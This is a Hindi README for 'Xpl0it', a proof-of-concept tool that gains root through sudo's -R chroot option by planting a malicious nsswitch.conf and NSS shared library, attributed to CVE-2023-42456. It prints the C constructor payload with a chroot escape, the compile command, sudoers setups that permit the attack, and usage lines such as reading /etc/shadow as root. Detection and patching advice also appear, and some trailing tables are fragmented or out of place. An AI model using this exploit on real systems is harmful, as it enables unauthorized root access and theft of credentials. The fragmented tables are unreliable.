
CVE-2023-42456 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो chroot इंजेक्शन के माध्यम से sudo NSS लाइब्रेरी हाइजैकिंग द्वारा विशेषाधिकार एस्केलेशन प्रदर्शित करता है। इसमें अधिकृत सुरक्षा परीक्षण के लिए स्वचालित संस्करण पहचान, पेलोड जनरेशन और chroot एस्केप शामिल हैं।
लेखक: 0xb0rn3 | 0xbv1
प्रकार: प्रूफ ऑफ कॉन्सेप्ट (PoC) सुरक्षा अनुसंधान उपकरण
CVE: CVE-2023-42456
तकनीक: sudo -R chroot NSS लाइब्रेरी इंजेक्शन → रूट तक विशेषाधिकार वृद्धि
यह उपकरण केवल अधिकृत पैठ परीक्षण (penetration testing) और शैक्षिक सुरक्षा अनुसंधान के लिए विकसित किया गया है। इसे केवल उन्हीं सिस्टमों पर चलाएँ जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं हैं। अनधिकृत उपयोग अवैध है।
Xpl0it एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) है जो इस विश्वास-मॉडल खामी का फायदा उठाता है कि sudo -R (chroot) फ्लैग का उपयोग करते समय डायनामिक NSS (Name Service Switch) लाइब्रेरी लोडिंग को कैसे संभालता है। कमजोर sudo संस्करणों पर, एक हमलावर जो chroot निर्देशिका को नियंत्रित करता है, उसके अंदर nsswitch.conf को दूषित कर सकता है ताकि sudo को एक दुर्भावनापूर्ण शेयर्ड लाइब्रेरी लोड करने के लिए मजबूर किया जा सके जबकि उसके पास अभी भी उन्नत विशेषाधिकार हों — किसी भी क्रेडेंशियल ड्रॉप से पहले।
सफल रन पर यह उपकरण आपको रूट शेल में डाल देता है या uid=0 gid=0 के साथ आपके द्वारा निर्दिष्ट किसी भी कमांड को निष्पादित करता है।
यह उपकरण केवल CVE-2023-42456 को लक्षित करता है। यह भेद्यता दो रिलीज़ ब्रांचों में मौजूद है, प्रत्येक का अलग फिक्स कमिट है:
महत्वपूर्ण: sudo 1.9.17 और उसके बाद के संस्करण कमजोर नहीं हैं। पिछले टूल्स और लेखों ने गलत तरीके से सीमा को "1.9.14–1.9.17" बताया था। यह उपकरण फॉल्स पॉज़िटिव से बचने के लिए प्रति-ब्रांच संस्करण जाँच करता है।
निम्नलिखित CVE इस तकनीक के माध्यम से शोषण योग्य नहीं हैं और फॉल्स पॉज़िटिव को रोकने के लिए जानबूझकर बाहर रखे गए हैं:
| CVE | तकनीक | बाहर रखने का कारण |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | हीप-आधारित बफर ओवरफ्लो | पूरी तरह से अलग अटैक वेक्टर |
| CVE-2021-23239 | sudoedit रेस कंडीशन | अलग तकनीक |
| CVE-2021-23240 | SELinux रोल सिमलिंक बाइपास |
sudo -R के लिए लक्षित उपयोगकर्ता की sudoers एंट्री में एक स्पष्ट ChrootDir= निर्देश आवश्यक है। अकेला NOPASSWD -R अनुमति नहीं देता।
ChrootDir के बिना, sudo -R फ्लैग को पूरी तरह अस्वीकार कर देता है:
sudo: you are not permitted to use the -R option with bridge
एक sudoers एंट्री जो इस एक्सप्लॉइट की अनुमति देती है, उसे निम्न में से किसी एक जैसा दिखना चाहिए:
# Unrestricted chroot path (ideal attack condition)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Path-restricted chroot (tool adapts staging dir automatically)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Specific path (tool creates staging inside the allowed path)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it कोई भी स्टेजिंग कार्य करने से पहले sudo -l में ChrootDir को पार्स करता है और यदि अनुमति अनुपस्थित है तो स्पष्ट विवरण के साथ तुरंत बाहर निकल जाता है।
sudo -R bridge bridge
│
├─ sudo calls chroot("./bridge") ← attacker controls this dir
│
├─ sudo must resolve calling user's info
│ └─ loads /etc/nsswitch.conf from chroot
│ └─ "passwd: files bridge90"
│ └─ dynamic linker loads libnss_bridge90.so.2
│ └─ __attribute__((constructor)) fires
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ chroot escape → exec payload
│
└─ root shell spawned
चरण 1 — रिकोनिसेंस
OS, कर्नेल संस्करण, आर्किटेक्चर, वर्तमान उपयोगकर्ता संदर्भ और सभी मान्य लाइब्रेरी खोज पथ एकत्र करता है। AppArmor/SELinux प्रवर्तन और NoNewPrivs स्थिति का पता लगाता है — ये सभी यदि सक्रिय हैं तो एक्सप्लॉइट को चुपचाप रोक सकते हैं।
चरण 2 — संस्करण फ़िंगरप्रिंट
sudo --version को पार्स करता है और CVE-2023-42456 के लिए दो-ब्रांच प्रभावित सीमा की पैच-स्तरीय सटीकता से जाँच करता है। यदि संस्करण पैच किया हुआ है या सीमा से बाहर है तो स्पष्टीकरण के साथ बाहर निकल जाता है।
चरण 3 — ChrootDir अनुमति जाँच
ChrootDir= निर्देशों के लिए sudo -l को पार्स करता है। यदि अनुपस्थित है, तो तुरंत बाहर निकल जाता है। यदि किसी विशिष्ट पथ तक सीमित है, तो स्टेजिंग के लिए स्वचालित रूप से उसी पथ को लक्षित करता है ताकि sudo -R कॉल स्वीकार कर ले।
चरण 4 — शोषण-पूर्व प्रोब
कोई भी वास्तविक स्टेजिंग कार्य करने से पहले एक अस्थायी न्यूनतम chroot बनाता है और एक हानिरहित sudo -R कॉल करता है। यह पुष्टि करता है कि sudo NSS रिज़ॉल्यूशन तक पहुँचेगा और "not permitted" अस्वीकृतियों को पहले ही पकड़ लेता है।
चरण 5 — पेलोड निर्माण
bridge90.c लिखता है — एक C शेयर्ड लाइब्रेरी जिसमें __attribute__((constructor)) फ़ंक्शन (_nss_bridge90_init) है जो डायनामिक लिंकर के इसे लोड करते ही ट्रिगर हो जाता है:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// chroot escape: mkdir sub-dir → chroot deeper →
// traverse 40x"../" → re-anchor chroot to real /
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
चरण 6 — पर्यावरण सेटअप
स्टेजिंग निर्देशिका के अंदर एक विश्वसनीय chroot बनाता है:
bridge/etc/nsswitch.conf — bridge90 NSS सेवा लोड करने के लिए दूषित किया गयाbridge/<lib_path>/libnss_bridge90.so.2 — पेलोड, सभी पहचाने गए lib पथों पर तैनात (मल्टीलिब कवरेज)bridge/bin/bridge — स्टब एक्ज़ीक्यूटेबल जिसे sudo को प्री-एक्सेक जाँचों से आगे बढ़ने के लिए खोजना आवश्यक हैbridge/bin/sh, bridge/bin/bash — सही ELF इंटरप्रेटर वाले शेल (readelf -l के माध्यम से पता लगाया गया)bridge/etc/ld.so.conf — सभी lib पथों को कवर करता है ताकि ldconfig -r एक मान्य कैश बना सकेचरण 7 — संकलन
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — कोई डिफ़ॉल्ट स्टार्टअप कोड नहीं; कंस्ट्रक्टर सब कुछ संभालता है-Wl,-soname — NSS नाम रिज़ॉल्यूशन के लिए सही SONAME-Wl,-init का उपयोग नहीं — __attribute__((constructor)) पर्याप्त है; -Wl,-init जोड़ने से डबल-कॉल होती है और यह एक बग हैसंकलन के बाद, nm -D यह सत्यापित करता है कि कंस्ट्रक्टर सिंबल डायनामिक एक्सपोर्ट टेबल में मौजूद है।
चरण 8 — निष्पादन
स्टेजिंग निर्देशिका से sudo -R bridge bridge चलाता है। NSS bridge90 को रिज़ॉल्व करता है → हमारी लाइब्रेरी लोड करता है → कंस्ट्रक्टर उन्नत विशेषाधिकारों के साथ ट्रिगर होता है → chroot एस्केप निष्पादित होता है → रूट शेल।
Sudo का -R कार्यान्वयन उस chroot निर्देशिका की सामग्री पर भरोसा करता है जिसमें वह प्रवेश करता है। इसे ठीक करने से पहले, sudo यह सत्यापित नहीं करता था कि chroot वातावरण के साथ छेड़छाड़ की गई है या नहीं। चूँकि chroot पथ प्रदान करने वाला उपयोगकर्ता इसकी सामग्री को नियंत्रित करता है — जिसमें nsswitch.conf और इसके द्वारा संदर्भित NSS लाइब्रेरी शामिल हैं — वे लाइब्रेरी लोडिंग को मनमाने कोड की ओर पुनर्निर्देशित कर सकते हैं जो sudo द्वारा कोई भी विशेषाधिकार ड्रॉप करने से पहले निष्पादित हो जाता है।
sudo को पैच करें
1.9.15p2, 1.9.16p2, या किसी भी 1.9.17+ रिलीज़ में अपडेट करें। ये संस्करण उनके अंदर NSS रिज़ॉल्यूशन की अनुमति देने से पहले chroot वातावरण को सत्यापित करते हैं।
# Check your version
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
ChrootDir निर्देशों का ऑडिट करें
/etc/sudoers और /etc/sudoers.d/ की सभी फाइलों की समीक्षा करें। जब तक स्पष्ट रूप से आवश्यक न हो, ChrootDir= एंट्री हटाएँ। वाइल्डकार्ड्स को प्रतिबंधित करें — ChrootDir=* के स्थान पर ChrootDir=/specific/path को प्राथमिकता दें।
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
ऑडिट लॉग हस्ताक्षर
# auditd — detect sudo -R invocations (rare in legitimate use)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
संदिग्ध संकेतक
sudo -R कॉल — वैध प्रोडक्शन उपयोग अत्यंत दुर्लभ है/tmp के अंतर्गत sudobridge.* से मेल खाते नामों वाली अस्थायी निर्देशिकाएँ/tmp या उपयोगकर्ता-लेखन-योग्य निर्देशिकाओं में libnss_*.so.2 फाइलेंgcc कॉलsetreuid/setregid सिस्कॉल जो रूट के स्वामित्व में नहीं हैं# Make executable
chmod +x Xpl0it
# Drop into root shell (default)
./Xpl0it
# Run a specific command as root
./Xpl0it -c "id && cat /etc/shadow"
# Debug mode — verbose output, staging directory preserved on exit
./Xpl0it -d
# Prompt before continuing on version mismatch
./Xpl0it -v
# Combine flags
./Xpl0it -v -d -c "/bin/bash"
लक्षित उपयोगकर्ता की sudoers एंट्री में भी ChrootDir= शामिल होना चाहिए — उपकरण इसकी स्वचालित रूप से जाँच करता है और यदि यह अनुपस्थित है तो स्पष्टीकरण के साथ तुरंत विफल हो जाता है।
यदि एक्सप्लॉइट विफल हो जाता है, तो स्टेजिंग निर्देशिका को सुरक्षित रखने के लिए -d के साथ चलाएँ और निरीक्षण करें:
सामान्य विफलता कारण:
man nsswitch.conf, man 5 nssman ld.so, man ldconfigchroot(2) मैन पेजसटीकता, पोर्टेबिलिटी, या पहचान कवरेज में सुधार करने वाले योगदानों का स्वागत है। कृपया किसी भी जोड़ को जिम्मेदार प्रकटीकरण (responsible disclosure) सिद्धांतों और अधिकृत परीक्षण उपयोग-मामलों के अनुरूप रखें।
Xpl0it केवल अधिकृत सुरक्षा अनुसंधान के लिए है। उन सिस्टमों पर परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जिनके स्वामी आप नहीं हैं।
| ब्रांच | प्रभावित संस्करण | फिक्स संस्करण |
|---|
| 1.9.14.x | सभी (1.9.14 – 1.9.14p2) | N/A (पूरी ब्रांच प्रभावित) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | प्रभावित नहीं | फिक्स ब्रांच से पहले ही अपस्ट्रीम में मर्ज कर दिया गया |
| अलग तकनीक |
| परत | कार्रवाई |
|---|
| पैच | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | ChrootDir=* हटाएँ; केवल विशिष्ट पथों का उपयोग करें |
| MAC | AppArmor/SELinux प्रोफाइल जो अविश्वसनीय dlopen() को ब्लॉक करती हैं |
| फाइलसिस्टम | /tmp और उपयोगकर्ता निर्देशिकाओं को noexec,nosuid के साथ माउंट करें |
| IMDSv2 | क्लाउड इंस्टेंस पर, टोकन-आधारित मेटाडेटा एक्सेस आवश्यक बनाएँ |
| मॉनिटरिंग | sudo -R इनवोकेशन पर auditd अलर्ट |
| NoNewPrivs | PR_SET_NO_NEW_PRIVS setreuid() को कार्य करने से रोकता है |
| फ्लैग | विवरण |
|---|
-c, --command <cmd> | विशेषाधिकार वृद्धि के बाद निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: /bin/bash) |
-d, --debug | विस्तृत डीबग आउटपुट; बाहर निकलने पर स्टेजिंग निर्देशिका सुरक्षित रखता है |
-v, --verbose | यदि संस्करण प्रभावित सीमा से बाहर है तो जारी रखने से पहले पूछता है |
-h, --help | उपयोग दिखाएँ |
--version | संस्करण प्रिंट करें |
| निर्भरता | आवश्यक | उद्देश्य |
|---|
gcc | हाँ | लक्ष्य पर NSS शेयर्ड लाइब्रेरी संकलित करना |
sudo | हाँ | लक्ष्य बाइनरी |
ldconfig | हाँ | chroot के अंदर ld.so.cache बनाना |
readelf | हाँ | ELF इंटरप्रेटर पथ का पता लगाना |
grep, awk, sed, find | हाँ | मानक उपयोगिताएँ |
strace, ltrace, gdb | वैकल्पिक | उन्नत डीबगिंग |
nm | वैकल्पिक | कंस्ट्रक्टर सिंबल सत्यापन |
| जाँच | पथ | क्या देखना है |
|---|
| संकलन लॉग | $STAGE/logs/compile.log | gcc त्रुटियाँ |
| ldconfig लॉग | $STAGE/logs/ldconfig.log | कैश निर्माण त्रुटियाँ |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| लाइब्रेरी | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | मौजूद होनी चाहिए |
| Sudoers | sudo -l | ChrootDir= दिखना चाहिए |
| त्रुटि | कारण |
|---|
not permitted to use the -R option | ChrootDir= sudoers में अनुपस्थित |
| एग्ज़िट कोड 1, कोई NSS त्रुटि नहीं | sudo संस्करण पैच किया हुआ है |
| लाइब्रेरी चुपचाप लोड नहीं हो रही | AppArmor/SELinux dlopen() को ब्लॉक कर रहा है |
setreuid अनदेखा किया गया | प्रक्रिया पर NoNewPrivs=1 |
| लाइब्रेरी नहीं मिली | ldconfig -r विफल हुआ और सिमलिंक फ़ॉलबैक अपर्याप्त है |